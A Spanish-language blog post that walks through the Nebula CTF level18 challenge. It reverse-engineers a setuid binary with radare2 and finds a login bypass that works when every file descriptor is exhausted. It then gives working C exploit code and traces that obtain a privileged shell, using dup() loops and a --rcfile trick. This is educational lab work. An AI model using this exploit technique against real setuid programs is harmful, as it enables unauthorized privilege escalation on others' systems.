Pages

miércoles, 25 de julio de 2018

Nebula CTF - level18

Penúltimo reto ya. level18 quizás sea uno de los más instructivos. Lo sé, es una entrada extremadamente larga, pero el lector debe recordar que estamos completando todos los desafíos sin utilizar el código fuente de las aplicaciones a explotar, por lo que aquí planteamos técnicas de reversing para encontrar vulnerabilidades y posibles vectores de ataque. Como siempre, radare2 será nuestra herramienta favorita en la parte central del análisis.

level18@nebula:/home/flag18$ ls -al
total 18
drwxr-x--- 2 flag18 level18    96 2011-11-20 21:22 .
drwxr-xr-x 1 root   root       60 2012-08-27 07:18 ..
-rw-r--r-- 1 flag18 flag18    220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag18 flag18   3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag18 level18 12216 2011-11-20 21:22 flag18
-rw------- 1 flag18 flag18     37 2011-11-20 21:22 password
-rw-r--r-- 1 flag18 flag18    675 2011-05-18 02:54 .profile

Como de costumbre, un binario suid y además un fichero password al que no tenemos acceso y el cual seguramente contenga la contraseña del usuario flag18. Haremos un breve análisis de comportamiento:

level18@nebula:/home/flag18$ strings ./flag18
/lib/ld-linux.so.2
...
fopen
strncmp
puts
__stack_chk_fail
stdin
fgets
getopt
__fprintf_chk
setresgid
fclose
asprintf
setresuid
optarg
execve
getegid
fwrite
geteuid
strchr
setvbuf
__sprintf_chk
strcmp
__libc_start_main
free
...
...
/home/flag18/password
Unable to open %s
got [%s] as input
login
attempting to login
logout
shell
attempting to start shell
/bin/sh
unable to execve
Permission denied
closelog
site exec
setuser
Unable to read password file %s
logged in successfully (with%s password file)
--> [%s] is unsupported at this current time.
unable to set user to '%s' -- not supported.
Starting up. Verbose level = %d

La syscall execve(), y los string "/bin/sh" y "attempting to start shell" no nos dejan indiferentes. También parece que existe algún sistema de autenticación (login y logout). Probemos con ltrace:

level18@nebula:/home/flag18$ ltrace ./flag18
__libc_start_main(0x80487b0, 1, 0xbfcd9574, 0x8048e20, 0x8048e90 <unfinished ...>
getopt(1, 0xbfcd9574, "d:v")                                  = -1
getegid()                                                     = 1019
getegid()                                                     = 1019
getegid()                                                     = 1019
setresgid(1019, 1019, 1019, 0x804849e, 0)                     = 0
geteuid()                                                     = 1019
geteuid()                                                     = 1019
geteuid()                                                     = 1019
setresuid(1019, 1019, 1019, 0x804849e, 0)                     = 0
fgets(

Se llama a getopt() que acepta como opciones de argumento a -d (seguido de un parámetro) y -v, que según la cadena "Starting up. Verbose level = %d" deja claro que nos permite establecer un nivel de vervosidad. Luego se lee de la entrada estándar mediante fgets(). Agregamos las nuevas opciones al análisis:

level18@nebula:/home/flag18$ ltrace ./flag18 -d /tmp/test -v
__libc_start_main(0x80487b0, 4, 0xbff4fec4, 0x8048e20, 0x8048e90 <unfinished ...>
getopt(4, 0xbff4fec4, "d:v")                                  = 100
fopen("/tmp/test", "w+")                                      = 0x98c3008
setvbuf(0x98c3008, NULL, 2, 0)                                = 0
getopt(4, 0xbff4fec4, "d:v")                                  = 118
getopt(4, 0xbff4fec4, "d:v")                                  = -1
__fprintf_chk(0x98c3008, 1, 0x8049070, 1, 0)                  = 31
getegid()                                                     = 1019
getegid()                                                     = 1019
getegid()                                                     = 1019
setresgid(1019, 1019, 1019, 1, 0)                             = 0
geteuid()                                                     = 1019
geteuid()                                                     = 1019
geteuid()                                                     = 1019
setresuid(1019, 1019, 1019, 1, 0)                             = 0
fgets(

Efectivamente vemos que el archivo es abierto con permisos de escritura y que fprintf() utiliza el handle devuelto anteriormente para escribir en él. Deducimos por lo tanto un mecanismo de logs o más bien, en base a la opción -d, un archivo con mensajes de debugging. Procedemos a continuación con una sesión de reversing mediante radare2 con el cual trazaremos la ruta seguida hasta alcanzar la posible llamada a execve("/bin/sh"):

dpc@kernelinside:~$ r2 ./flag18
 -- Stop debugging me!
[0x08048b90]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[0x08048b90]> is
[Symbols]
...
...
046 0x00000db0 0x08048db0 GLOBAL   FUNC  106 setuser
055 0x00000d50 0x08048d50 GLOBAL   FUNC   86 notsupported
058 0x00000c50 0x08048c50 GLOBAL   FUNC  248 login
073 0x000020ac 0x0804b0ac GLOBAL    OBJ   12 globals
083 0x000007b0 0x080487b0 GLOBAL   FUNC  992 main
088 0x000020a0 0x0804b0a0 GLOBAL    OBJ    4 optarg
001 0x00000640 0x08048640 GLOBAL   FUNC   16 imp.strcmp
002 0x00000650 0x08048650 GLOBAL   FUNC   16 imp.setresuid
003 0x00000660 0x08048660 GLOBAL   FUNC   16 imp.free
004 0x00000670 0x08048670 GLOBAL   FUNC   16 imp.fgets
005 0x00000680 0x08048680 GLOBAL   FUNC   16 imp.fclose
006 0x00000690 0x08048690 GLOBAL   FUNC   16 imp.__stack_chk_fail
007 0x000006a0 0x080486a0 GLOBAL   FUNC   16 imp.geteuid
008 0x000006b0 0x080486b0 GLOBAL   FUNC   16 imp.err
009 0x000006c0 0x080486c0 GLOBAL   FUNC   16 imp.getegid
010 0x000006d0 0x080486d0 GLOBAL   FUNC   16 imp.fwrite
011 0x000006e0 0x080486e0 GLOBAL   FUNC   16 imp.puts
013 0x00000700 0x08048700 GLOBAL   FUNC   16 imp.strchr
015 0x00000720 0x08048720 GLOBAL   FUNC   16 imp.execve
016 0x00000730 0x08048730 GLOBAL   FUNC   16 imp.getopt
017 0x00000740 0x08048740 GLOBAL   FUNC   16 imp.setvbuf
018 0x00000750 0x08048750 GLOBAL   FUNC   16 imp.fopen
019 0x00000760 0x08048760 GLOBAL   FUNC   16 imp.asprintf
020 0x00000770 0x08048770 GLOBAL   FUNC   16 imp.__fprintf_chk
021 0x00000780 0x08048780 GLOBAL   FUNC   16 imp.setresgid
022 0x00000790 0x08048790 GLOBAL   FUNC   16 imp.strncmp
023 0x000007a0 0x080487a0 GLOBAL   FUNC   16 imp.__sprintf_chk
[0x08048b90]> axt sym.imp.execve
main 0x8048b37 [CALL] call sym.imp.execve

Hemos abreviado aquí algunas líneas, pero existen varios detalles importantes a destacar: por un lado descubrimos las funciones locales login(), notsupported(), setuser() y por supuesto main(). Además, existe una variable globals (que es global, valga la redundancia) y cuyo tamaño es 12 bytes:

[0x08048b90]> pxw @ obj.globals
0x0804b0ac  0x00000000 0x00000000 0x00000000 0xffffffff  ................
...

Suponemos que obj.globals es un array de 12 bytes o algún tipo de estructura con tres campos enteros. Por último execve() es invocado desde main(), tracemos la ruta:

[0x08048b37]> pd -10 @ 0x08048b37+5
|       :   0x08048b0f      lea edx, [local_34h]                  ; 0x34 ; '4' ; 52
|       :   0x08048b13      mov dword [esp], edx
|       :   0x08048b16      call sym.setuser
|       `=< 0x08048b1b      jmp 0x80488d0
|           ; CODE XREF from main (0x80489c7)
|           0x08048b20      mov edx, dword [local_18h]                 ; [0x18:4]=-1 ; 24
|           0x08048b24      mov dword [esp], str.bin_sh                ; [0x8048f75:4]=0x6e69622f ; "/bin/sh"
|           0x08048b2b      mov dword [optstring], edx
|           0x08048b2f      mov edx, dword [local_1ch]                 ; [0x1c:4]=-1 ; 28
|           0x08048b33      mov dword [size], edx
|           0x08048b37      call sym.imp.execve

Vemos una referencia a esta sección de código desde 0x80489c7:

[0x08048b37]> pd -3 @ 0x080489c7+6
|           ; CODE XREFS from main (0x80489b1, 0x8048b75)
|           0x080489c0      mov eax, dword [0x804b0b4]                 ; [0x804b0b4:4]=0
|           0x080489c5      test eax, eax
|       ,=< 0x080489c7      jne 0x8048b20

Solo alcanzaremos execve() si el valor almacenado en la dirección 0x0804b0b4 (un entero de 4 bytes que coincidiría con el tercer campo de obj.globals) es distinto de 0. Averigüemos si esto es posible:

[0x08048b37]> axt 0x804b0b4
main 0x80489c0 [DATA] mov eax, dword [0x804b0b4]
main 0x8048a00 [DATA] mov dword [0x804b0b4], 0
sym.login 0x8048cea [DATA] mov dword [0x804b0b4], 1

Efectivamente hay alguna parte del código de login() donde se establece dicho valor a 1. Intuimos pués que 0x0804b0b4 es una variable o flag que representa si estamos autenticados en el sistema (la llamaremos logged). De momento podemos definir:

struct globals
{
    unknown;
    unknown;
    int logged;
}

Estudiamos login() a ver si podemos descubrir alguna vulnerabilidad:

[0x08048b37]> s sym.login
[0x08048c50]> pdf
/ (fcn) sym.login 241
|   sym.login (const char *arg_70h);
|           ; var char *size @ esp+0x4
|           ; var FILE *stream @ esp+0x8
|           ; var int local_ch @ esp+0xc
|           ; var char *s @ esp+0x1c
|           ; var int local_5ch @ esp+0x5c
|           ; var int local_60h @ esp+0x60
|           ; var int local_64h @ esp+0x64
|           ; var int local_68h @ esp+0x68
|           ; arg int arg_70h @ esp+0x70
|           ; CALL XREF from main (0x804897a)
|           0x08048c50      sub esp, 0x6c                              ; 'l'
|           0x08048c53      mov dword [local_60h], ebx
|           0x08048c57      mov dword [local_68h], edi
|           0x08048c5b      mov edi, dword [arg_70h]                   ; [0x70:4]=-1 ; 'p' ; 112
|           0x08048c5f      mov eax, dword gs:[0x14]                   ; [0x14:4]=-1 ; 20
|           0x08048c65      mov dword [local_5ch], eax
|           0x08048c69      xor eax, eax
|           0x08048c6b      mov dword [local_64h], esi
|           0x08048c6f      mov dword [size], 0x8048fba                ; [0x8048fba:4]=0x6e550072 ; const char *mode
|           0x08048c77      mov dword [esp], str.home_flag18_password  ; [0x8048ef0:4]=0x6d6f682f ; "/home/flag18/password" ; const char *filename
|           0x08048c7e      call sym.imp.fopen                         ; file*fopen(const char *filename, const char *mode)
|           0x08048c83      test eax, eax
|           0x08048c85      mov ebx, eax
|       ,=< 0x08048c87      je 0x8048cb5

Se llama a fopen("/home/flag18/password", "r"). Dejamos pendiente el caso en el que dicha llamada falla eax == 0, si todo va bien sigue así:

|       |   0x08048c89      lea esi, [s]                               ; 0x1c ; 28
|       |   0x08048c8d      mov dword [stream], eax                    ; FILE *stream
|       |   0x08048c91      mov dword [size], 0x3f                     ; '?' ; [0x3f:4]=-1 ; 63 ; int size
|       |   0x08048c99      mov dword [esp], esi                       ; char *s
|       |   0x08048c9c      call sym.imp.fgets                         ; char *fgets(char *s, int size, FILE *stream)
|       |   0x08048ca1      test eax, eax
|      ,==< 0x08048ca3      je 0x8048d18

Se leen hasta 63 (0x3f) caracteres del archivo /home/flag18/password y se almacenan en un buffer con capacidad para 64 bytes. Si fgets() fallase, se llamaría a fprintf() con la cadena "Unable to read password file /home/flag18/password\n" (siempre y cuando el primer campo de obj.globals sea distinto de 0) y se retorna. Cabe señalar que en esta llamada a fprintf() el descriptor de fichero es el mismo valor almacenado en obj.globals por lo que ahora tendríamos más información:

struct globals
{
    FILE *fd;
    unknown;
    int logged;
}

Si fgets() devuelve un valor distinto de 0 entonces llegamos a una comparación:

|      ||   0x08048ca5      mov dword [size], esi                      ; const char *s2
|      ||   0x08048ca9      mov dword [esp], edi                       ; const char *s1
|      ||   0x08048cac      call sym.imp.strcmp                        ; int strcmp(const char *s1, const char *s2)
|      ||   0x08048cb1      test eax, eax
|     ,===< 0x08048cb3      jne 0x8048cf4

Se ejecuta strcmp(password, arg), comparando el password recién leido de /home/flag18/password con el argumento recibido por login(). Caso de no coincidir la función retorna directamente, sino se llama a fprintf() con el string "logged in successfully (with password file)" (siempre y cuando globals.fd != NULL) y finalmente se establece nuestra buscada variable globals.logged a 1. Luego login() finaliza.

Ahora bien, y aquí queríamos llegar, el inicio de esta última sección de código (0x8048cb5), es casualmente la dirección utilizada por el salto que encontramos en la llamada a fopen() si esta fallaba:

|     |||   ; CODE XREF from sym.login (0x8048c87)
|     ||`-> 0x08048cb5      mov edx, dword [obj.globals]               ; [0x804b0ac:4]=0
|     ||    0x08048cbb      test edx, edx
|     ||,=< 0x08048cbd      je 0x8048cea
|     |||   0x08048cbf      mov eax, 0x8048f50
|     |||   0x08048cc4      test ebx, ebx
|     |||   0x08048cc6      mov ecx, 0x8048fa0
|     |||   0x08048ccb      cmovne eax, ecx
|     |||   0x08048cce      mov dword [local_ch], eax
|     |||   0x08048cd2      mov dword [stream], str.logged_in_successfully__with_s_password_file ; [0x8048fe0:4]=0x67676f6c ; "logged in successfully (with%s password file)\n"
|     |||   0x08048cda      mov dword [size], 1
|     |||   0x08048ce2      mov dword [esp], edx
|     |||   0x08048ce5      call sym.imp.__fprintf_chk
|     |||   ; CODE XREF from sym.login (0x8048cbd)
|     ||`-> 0x08048cea      mov dword [0x804b0b4], 1                   ; [0x804b0b4:4]=0
|     ||    ; CODE XREFS from sym.login (0x8048cb3, 0x8048d1f, 0x8048d41)
|    .`-.-> 0x08048cf4      mov eax, dword [local_5ch]                 ; [0x5c:4]=-1 ; '\' ; 92
|    : |:   0x08048cf8      xor eax, dword gs:[0x14]
|    :,===< 0x08048cff      jne 0x8048d43
|    :||:   0x08048d01      mov ebx, dword [local_60h]                 ; [0x60:4]=-1 ; '`' ; 96
|    :||:   0x08048d05      mov esi, dword [local_64h]                 ; [0x64:4]=-1 ; 'd' ; 100
|    :||:   0x08048d09      mov edi, dword [local_68h]                 ; [0x68:4]=-1 ; 'h' ; 104
|    :||:   0x08048d0d      add esp, 0x6c                              ; 'l'
|    :||:   0x08048d10      ret

Hagamos un intento de pseudocódigo para verlo todavía más claro:

login(char *password)
{
    char buffer[64];
    FILE *file;

    file = fopen("/home/flag18/password", "r");

    if (file != NULL)
    {
        if (fgets(buffer, 63, file) != 0)
        {
            if (globals.fd != NULL)
                fprintf(globals.fd, "Unable to read password file /home/flag18/password\n");
            return;
        }
   
        if (strcmp(buffer, password) != 0)
            return; 
    }

    if (globals.fd != NULL)
       fprintf(globals.fd, "logged in successfully (with%s password file)\n", 

    globals.logged = 1;
}

Si los ojos no nos engañan, quiere decir que podemos hacer que globals.logged sea igual a 1 siempre y cuando la llamada fopen("/home/flag18/password") falle. ¿Es esto posible? Por supuesto, fopen() devolverá error si todos los descriptores de fichero se encuentran ocupados. En un proceso normal:

Limit           Soft Limit   Hard Limit   Units
Max open files  1024         4096         files

1024 es el límite, contando con que habitualmente los tres primeros stdin, stdout y stderr ya se encuentran abiertos. Además, como todos los descriptores abiertos son heredados por los procesos hijos, podríamos hacer algo como lo siguiente:

while ((fd = dup(1)) != -1)
    ;
execve("/home/flag18/flag18");

./flag18 se encontraría con todos los descriptores de archivo ocupados, y cualquier llamada a fopen() fallaría.

Tan solo nos queda analizar main() y comprobar cómo podemos llamar a login() y posteriormente execve("/bin/sh"):

[0x080487b0]> pdf
|           ;-- section_end..plt:
|           ;-- section..text:
/ (fcn) main 971
|   main (int arg_8h, int arg_ch, int arg_10h);
|           ; var int local_ch @ ebp-0xc
|           ; arg int arg_8h @ ebp+0x8
|           ; arg int arg_ch @ ebp+0xc
|           ; arg int arg_10h @ ebp+0x10
|           ; var char * *size @ esp+0x4
|           ; var char *optstring @ esp+0x8
|           ; var size_t stream @ esp+0xc
|           ; var int local_18h @ esp+0x18
|           ; var int local_1ch @ esp+0x1c
|           ; var int local_2ch @ esp+0x2c
|           ; var int local_32h @ esp+0x32
|           ; var int local_34h @ esp+0x34
|           ; var int local_36h @ esp+0x36
|           ; var int local_12ch @ esp+0x12c
|           ; DATA XREF from entry0 (0x8048ba7)
|           0x080487b0      push ebp                                   ; [13] -r-x section size 1820 named .text
|           0x080487b1      mov ebp, esp
|           0x080487b3      push edi
|           0x080487b4      push esi
|           0x080487b5      push ebx
|           0x080487b6      and esp, 0xfffffff0
|           0x080487b9      sub esp, 0x130
|           0x080487bf      mov edx, dword [arg_ch]                    ; [0xc:4]=-1 ; 12
|           0x080487c2      mov eax, dword gs:[0x14]                   ; [0x14:4]=-1 ; 20
|           0x080487c8      mov dword [local_12ch], eax
|           0x080487cf      xor eax, eax
|           0x080487d1      mov ebx, dword [arg_8h]                    ; [0x8:4]=-1 ; 8
|           0x080487d4      mov dword [local_1ch], edx
|           0x080487d8      mov edx, dword [arg_10h]                   ; [0x10:4]=-1 ; 16
|           0x080487db      mov dword [local_18h], edx
|           0x080487df      nop
|           ; CODE XREFS from main (0x8048802, 0x804880b, 0x8048852)
|     ...-> 0x080487e0      mov edx, dword [local_1ch]                 ; [0x1c:4]=-1 ; 28
|     :::   0x080487e4      mov dword [optstring], 0x8048f1b           ; [0x8048f1b:4]=0x763a64 ; const char *optstring
|     :::   0x080487ec      mov dword [esp], ebx                       ; int argc
|     :::   0x080487ef      mov dword [size], edx                      ; const char **argv
|     :::   0x080487f3      call sym.imp.getopt                        ; int getopt(int argc, const char **argv, const char *optstring)
|     :::   0x080487f8      cmp al, 0xff                               ; 255
|    ,====< 0x080487fa      je 0x8048858
|    |:::   0x080487fc      cmp al, 0x64                               ; 'd' ; 100
|   ,=====< 0x080487fe      je 0x8048810
|   ||:::   0x08048800      cmp al, 0x76                               ; 'v' ; 118
|   ||`===< 0x08048802      jne 0x80487e0
|   || ::   0x08048804      add dword [0x804b0b0], 1
|   || `==< 0x0804880b      jmp 0x80487e0

Como ya vimos al principio de nuestro anális de comportamiento, se llama a getopt(argc, argv, "d:v"). Si se encuentra -v entre las opciones de argumento, la variable en 0x0804b0b0 se incrementa en 1, esto coincide con la última incógnita de la estructura globals, con lo cual:

struct globals
{
    FILE *fd;
    int verbosity;
    int logged;
}

|   ||  :   ; CODE XREF from main (0x80487fe)
|   `-----> 0x08048810      mov eax, dword [obj.optarg]                ; [0x804b0a0:4]=0
|    |  :   0x08048815      mov dword [size], 0x8048f06                ; [0x8048f06:4]=0x55002b77 ; const char *mode
|    |  :   0x0804881d      mov dword [esp], eax                       ; const char *filename
|    |  :   0x08048820      call sym.imp.fopen                         ; file*fopen(const char *filename, const char *mode)
|    |  :   0x08048825      test eax, eax
|    |  :   0x08048827      mov dword [obj.globals], eax               ; [0x804b0ac:4]=0

En cambio, si se encuentra -d, se llama a fopen(optarg) y se guarda el descriptor de fichero en globals.fd.

Suprimimos el desensamblado de las llamadas setresgid(getegid(), getegid(), getegid()) y setresuid(geteuid(), geteuid(), geteuid()) y continuamos aquí:

|     :|    ; XREFS: CODE 0x0804897f  CODE 0x080489d4  CODE 0x080489fa  CODE 0x08048a0a  CODE 0x08048a58  CODE 0x08048b09  
|     :|    ; XREFS: CODE 0x08048b1b  CODE 0x08048b86  
| ....--.-> 0x080488d0      mov eax, dword [sym.stdin]                 ; obj.stdin ; [0x804b080:4]=0
| :::::|:   0x080488d5      mov dword [size], 0xff                     ; [0xff:4]=-1 ; 255 ; int size
| :::::|:   0x080488dd      mov dword [esp], ebx                       ; char *s
| :::::|:   0x080488e0      mov dword [optstring], eax                 ; FILE *stream
| :::::|:   0x080488e4      call sym.imp.fgets                         ; char *fgets(char *s, int size, FILE *stream)
| :::::|:   0x080488e9      test eax, eax
| ========< 0x080488eb      je 0x8048a88

Se entra en un bucle que lee comandos de la entrada estándar mediante fgets(). En caso positivo:

| :::::|:   0x080488f1      mov dword [size], 0xa                      ; int c
| :::::|:   0x080488f9      mov dword [esp], ebx                       ; const char *s
| :::::|:   0x080488fc      call sym.imp.strchr                        ; char *strchr(const char *s, int c)
| :::::|:   0x08048901      test eax, eax
| ========< 0x08048903      je 0x8048908
| :::::|:   0x08048905      mov byte [eax], 0
| --------> 0x08048908      mov dword [size], 0xd                      ; [0xd:4]=-1 ; 13 ; int c
| :::::|:   0x08048910      mov dword [esp], ebx                       ; const char *s
| :::::|:   0x08048913      call sym.imp.strchr                        ; char *strchr(const char *s, int c)
| :::::|:   0x08048918      test eax, eax
| ========< 0x0804891a      je 0x804891f
| :::::|:   0x0804891c      mov byte [eax], 0

Se suprimen los caracteres de retorno de carro y nueva línea en caso de encontrarse. Luego comienza una serie de comparaciones con los comandos introducidos:

...
...
| :::::|:   ; CODE XREFS from main (0x8048926, 0x804892f)
| --------> 0x0804894d      mov edi, str.login                         ; 0x8048f32 ; "login"
| :::::|:   0x08048952      mov ecx, 5
| :::::|:   0x08048957      mov esi, ebx
| :::::|:   0x08048959      repe cmpsb byte [esi], byte ptr es:[edi]   ; [0x170000001c:1]=255 ; 98784247836
| ========< 0x0804895b      jne 0x8048988
| :::::|:   0x0804895d      mov eax, dword [obj.globals]               ; [0x804b0ac:4]=0
| :::::|:   0x08048962      test eax, eax
| ========< 0x08048964      je 0x8048973
| :::::|:   0x08048966      cmp dword [0x804b0b0], 2                   ; [0x2:4]=-1 ; 2
| ========< 0x0804896d      jg 0x8048a60
| :::::|:   ; CODE XREFS from main (0x8048964, 0x8048a80)
| --------> 0x08048973      lea eax, [local_32h]                       ; 0x32 ; '2' ; 50
| :::::|:   0x08048977      mov dword [esp], eax
| :::::|:   0x0804897a      call sym.login
| ========< 0x0804897f      jmp 0x80488d0

El comando login xxxx (donde xxxx puede representar un password) nos conduce a login().

| :::::|:   ; CODE XREF from main (0x804895b)
| --------> 0x08048988      mov eax, str.logout                        ; 0x8048f4d ; "logout"
| :::::|:   0x0804898d      mov ecx, 6
| :::::|:   0x08048992      mov esi, ebx
| :::::|:   0x08048994      mov edi, eax
| :::::|:   0x08048996      repe cmpsb byte [esi], byte ptr es:[edi]   ; [0x170000001c:1]=255 ; 98784247836
| ========< 0x08048998      je 0x8048a00
...
...
..
| :::::|:   ; CODE XREFS from main (0x8048998, 0x8048a1b)
| --------> 0x08048a00      mov dword [0x804b0b4], 0                   ; [0x804b0b4:4]=0
| `=======< 0x08048a0a      jmp 0x80488d0

Si el comando es logout, entonces globals.logged se pone a 0.

| :::::|:   0x0804899a      mov edi, str.shell                         ; 0x8048f54 ; "shell"
| :::::|:   0x0804899f      mov ecx, 5
| :::::|:   0x080489a4      mov esi, ebx
| :::::|:   0x080489a6      repe cmpsb byte [esi], byte ptr es:[edi]   ; [0x170000001c:1]=255 ; 98784247836
| ========< 0x080489a8      jne 0x8048a10
| :::::|:   0x080489aa      mov eax, dword [obj.globals]               ; [0x804b0ac:4]=0
| :::::|:   0x080489af      test eax, eax
| ========< 0x080489b1      je 0x80489c0
| :::::|:   0x080489b3      cmp dword [0x804b0b0], 2                   ; [0x2:4]=-1 ; 2
| ========< 0x080489ba      jg 0x8048b55
| :::::|:   ; CODE XREFS from main (0x80489b1, 0x8048b75)
| --------> 0x080489c0      mov eax, dword [0x804b0b4]                 ; [0x804b0b4:4]=0
| :::::|:   0x080489c5      test eax, eax
| ========< 0x080489c7      jne 0x8048b20
...
...
|  |   |:   ; CODE XREF from main (0x80489c7)
| --------> 0x08048b20      mov edx, dword [local_18h]                 ; [0x18:4]=-1 ; 24
|  |   |:   0x08048b24      mov dword [esp], str.bin_sh                ; [0x8048f75:4]=0x6e69622f ; "/bin/sh"
|  |   |:   0x08048b2b      mov dword [optstring], edx
|  |   |:   0x08048b2f      mov edx, dword [local_1ch]                 ; [0x1c:4]=-1 ; 28
|  |   |:   0x08048b33      mov dword [size], edx
|  |   |:   0x08048b37      call sym.imp.execve

El comando shell, como ya vimos al principio, invoca a execve("/bin/sh") si globals.logged == 1.

...
...
|  ::::|:   ; CODE XREF from main (0x80489a8)
| --------> 0x08048a10      mov ecx, 4
|  ::::|:   0x08048a15      mov esi, ebx
|  ::::|:   0x08048a17      mov edi, eax
|  ::::|:   0x08048a19      repe cmpsb byte [esi], byte ptr es:[edi]   ; [0x170000001c:1]=255 ; 98784247836
| ========< 0x08048a1b      je 0x8048a00
|  ::::|:   0x08048a1d      mov dword [optstring], 8                   ; size_t n
|  ::::|:   0x08048a25      mov dword [size], str.closelog             ; [0x8048fa1:4]=0x736f6c63 ; "closelog" ; const char *s2
|  ::::|:   0x08048a2d      mov dword [esp], ebx                       ; const char *s1
|  ::::|:   0x08048a30      call sym.imp.strncmp                       ; int strncmp(const char *s1, const char *s2, size_t n)
|  ::::|:   0x08048a35      test eax, eax
| ,=======< 0x08048a37      jne 0x8048acf
| |::::|:   0x08048a3d      mov eax, dword [obj.globals]               ; [0x804b0ac:4]=0
| |::::|:   0x08048a42      test eax, eax
| ========< 0x08048a44      je 0x8048a4e
| |::::|:   0x08048a46      mov dword [esp], eax                       ; FILE *stream
| |::::|:   0x08048a49      call sym.imp.fclose                        ; int fclose(FILE *stream)
| |::::|:   ; CODE XREF from main (0x8048a44)
| --------> 0x08048a4e      mov dword [obj.globals], 0                 ; [0x804b0ac:4]=0
| |`======< 0x08048a58      jmp 0x80488d0

El comando closelog cerraría el descriptor de fichero almacenado en globals.fd si un archivo válido fue especificado con los argumentos -d archivo_de_log.

No analizaremos los comandos site exec" y setuser" por no ser relevantes para el vector de ataque que estamos estudiando. Un breve pseudocódigo puede servir de resumen:

main(argc, argv)
{
    char cmd[256];

    while ((c = getopt(argc, argv, "d:v")) != -1)
    {
        switch (c)
        {
            case "d":
                globals.fd = fopen(optarg, "w+");
                break;
            case "v":
                globals.verbosity++;
                break;
        }
    }

    while (fgets(cmd, 255, stdin) != 0)
    {
        if (cmd == "login")
            login(login_arg);
        else if (cmd == "logout")
            globals.logged = 0;
        else if (cmd == "shell")
        {
            if (globals.logged)
                execve("/bin/sh")
        }
        else if (cmd == "closelog")
            fclose(globals.fd);
    }
}

Se trata de un resumen burdo pero considerablemente aproximado. Ya tenemos todos los ingredientes necesarios para un exploit. Ocupar (denegar) todos los descriptores de fichero, llamar a execve("./flag18"), introducir el comando login y finalmente el comando shell. Probamos con:

#include <stdio.h>
#include <unistd.h>

extern char **environ;

int main()
{
        int fd;
        int count = 0;
        char* const args[] = {"/home/flag18/flag18", "-d", "/tmp/log", NULL};

        printf("[+] Duplicando descriptores...\n");
        while ((fd = dup(1)) != -1)
        {
                count++;
        }
 
        printf("[+] Descriptores abiertos: %d\n", count);
        printf("[+] Ejecutando /home/flag18/flag18...\n");
        execve(args[0], args, environ);
        fprintf(stderr, "[X] execve() error!!\n");
        _exit(1);
}

Y obtenemos:

level18@nebula:/tmp$ ./l18exploit
[+] Duplicando descriptores...
[+] Descriptores abiertos: 1021
[+] Ejecutando /home/flag18/flag18...
/home/flag18/flag18: error while loading shared libraries: libc.so.6: cannot open shared object file: Error 24

Debemos dejar un descriptor libre para que ./flag18 pueda abrir la librería dinámica libc. Para ello agregaremos la línea close(--count) inmediatamente después del bucle while. Ahora:

level18@nebula:/tmp$ ./l18exploit
[+] Duplicando descriptores...
[+] Descriptores abiertos: 1020
[+] Ejecutando /home/flag18/flag18...
login
shell
/home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24

Parece que ./flag18 necesita otro descriptor de fichero abierto para libncurses, pero si nuestro binario no utiliza ncurses, ¿qué está pasando?:

level18@nebula:/tmp$ strace ./l18exploit 
execve("./l18exploit", ["./l18exploit"], [/* 19 vars */]) = 0
...
dup(1)                                  = 3
...
...
dup(1)                                  = 1023
dup(1)                                  = -1 EMFILE (Too many open files)
close(1020)                             = 0
write(1, "[+] Descriptores abiertos: 1020\n", 32[+] Descriptores abiertos: 1020
) = 32
write(1, "[+] Ejecutando /home/flag18/flag"..., 38[+] Ejecutando /home/flag18/flag18...
) = 38
execve("/home/flag18/flag18", ["/home/flag18/flag18", "-d", "/tmp/log"], [/* 19 vars */]) = 0
brk(0)                                  = 0x8a63000
...
close(1020)                             = 0
...
open("/tmp/dbg", O_RDWR|O_CREAT|O_TRUNC, 0666) = 1020
...
...
read(0, login
"login\n", 1024)                = 6
open("/home/flag18/password", O_RDONLY) = -1 EMFILE (Too many open files)
write(1020, "logged in successfully (without "..., 47) = 47
read(0, shell
"shell\n", 1024)                = 6
execve("/bin/sh", ["/home/flag18/flag18", "-d", "/tmp/log"], [/* 19 vars */]) = 0
...
...
writev(2, [{"/home/flag18/flag18", 19}, {": ", 2}, {"error while loading shared libra"..., 36}, {": ", 2}, {"libncurses.so.5", 15}, {": ", 2}, {"cannot open shared object file", 30}, {": ", 2}, {"Error 24", 8}, {"\n", 1}], 10/home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24
) = 117

En realidad es /bin/sh quien no puede abrir libncurses.so.5. Ocurre que como /bin/sh es llamado con los mismos argumentos proporcionados a ./flag18 (entre ellos argv[0]), entonces el primero se muestra con el nombre del segundo :)

Siguiendo con nuestro ataque, podemos aprovechar el comando closelog para cerrar un descriptor de fichero y dejárselo libre a /bin/sh:

level18@nebula:/tmp$ ./l18exploit
[+] Duplicando descriptores...
[+] Descriptores abiertos: 1020
[+] Ejecutando /home/flag18/flag18...
login
closelog
shell
/home/flag18/flag18: -d: invalid option
Usage: /home/flag18/flag18 [GNU long option] [option] ...
 /home/flag18/flag18 [GNU long option] [option] script-file ...
GNU long options:
 --debug
 --debugger
 --dump-po-strings
 --dump-strings
 --help
 --init-file
 --login
 --noediting
 --noprofile
 --norc
 --posix
 --protected
 --rcfile
 --restricted
 --verbose
 --version
Shell options:
 -irsD or -c command or -O shopt_option  (invocation only)
 -abefhkmnptuvxBCHP or -o option

Ya estamos mucho más cerca, /bin/sh dice que no reconoce la opción de argumento -d. Aquí podemos aprovechar un pequeño truco: si utilizamos la opción --rcfile, la shell leerá los comandos a ejecutar de los archivos que acompañen a dicha opción (en nuestro caso /tmp/log). El exploit definitivo:

#include <stdio.h>
#include <unistd.h>

extern char **environ;

int main()
{
        int fd;
        int count = 0;
        char* const args[] = {"/home/flag18/flag18", "--rcfile", "-d", "/tmp/log", NULL};

        printf("[+] Duplicando descriptores...\n");
        while ((fd = dup(1)) != -1)
        {
                count++;
        }
        close(--count); //  open("libc.so.6")

        printf("[+] Descriptores abiertos: %d\n", count);
        printf("[+] Ejecutando /home/flag18/flag18...\n");
        execve(args[0], args, environ);
        fprintf(stderr, "[X] execve() error!!\n");
        _exit(1);
}

Lo ejecutamos:

level18@nebula:/tmp$ ./l18exploit 
